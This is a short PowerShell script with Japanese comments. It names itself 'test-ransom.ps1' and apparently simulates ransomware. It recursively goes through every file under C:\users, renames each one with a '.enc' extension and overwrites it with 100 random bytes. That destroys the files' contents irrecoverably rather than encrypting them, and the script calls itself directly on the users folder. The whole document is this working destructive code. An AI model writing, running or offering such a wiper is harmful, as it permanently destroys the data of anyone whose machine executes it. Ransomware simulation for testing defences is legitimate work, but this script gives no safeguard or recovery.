function RenameandEnc($targetFolder){ # 指定したフォルダ内のすべてのファイルを再帰的に取得します。 $files = Get-ChildItem -Path $targetFolder -File -Recurse # ファイルごとに処理を行います。 foreach ($file in $files) { if ($file.Name -ne "test-ransom.ps1") { # ランダムな100バイトのデータを生成します。 $randomData = [byte[]]::new(100) [System.Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($randomData) # ファイルの拡張子を.encに変更します。 $newExtension = ".enc" $newFileName = $file.FullName + $newExtension Rename-Item -Path $file.FullName -NewName $newFileName # ファイルにランダムなデータを追加します。 [System.IO.File]::WriteAllBytes($newFileName, $randomData) } } } # 変更したいフォルダのパスを指定します。 $targetFolder1 = "C:\users" RenameandEnc $targetFolder1 Write-Host "finish"